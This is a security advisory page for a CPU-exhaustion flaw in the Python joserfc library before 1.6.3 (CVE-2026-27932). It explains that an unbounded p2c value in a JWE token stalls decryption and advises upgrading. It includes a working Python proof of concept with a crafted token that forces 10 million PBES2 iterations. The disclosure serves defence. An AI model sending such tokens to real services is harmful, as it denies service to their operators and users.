Allocation of Resources Without Limits or Throttling Affecting joserfc package, versions [,1.6.3)


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.05% (15th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Allocation of Resources Without Limits or Throttling vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-JOSERFC-15369129
  • published3 Mar 2026
  • disclosed2 Mar 2026
  • creditJay Neiva, Pr00fOf3xpl0it

Introduced: 2 Mar 2026

CVE-2026-27932  (opens in a new tab)
CWE-770  (opens in a new tab)

How to fix?

Upgrade joserfc to version 1.6.3 or higher.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the decrypt_cek function. An attacker can cause excessive CPU resource consumption by supplying a crafted JSON Web Encryption (JWE) token with an unbounded p2c parameter value, leading to prolonged processing times during decryption.

PoC

import time
from joserfc import jwe
from joserfc.jwk import OctKey

# Force joserfc to use local source if needed
# sys.path.insert(0, "src")

# Attacker-crafted token with 10 million iterations
# Normally legitimate p2c is ~2048-4096. 10M iterations = ~5s DoS.
token = "eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMTI4Q0JDLUhTMjU2IiwicDJzIjoiWjI5dVpYSm1ZdyIsInAyYyI6MTAwMDAwMDB9.dummy.dummy.dummy.dummy"

key = OctKey.import_key(b"any-password")

t0 = time.perf_counter()
try:
    # This call will hang the thread for seconds
    jwe.decrypt_compact(token, key, algorithms=["PBES2-HS256+A128KW", "A128CBC-HS256"])
except Exception:
    pass
print(f"Elapsed: {time.perf_counter() - t0:.2f}s")

References

CVSS Base Scores

version 4.0
version 3.1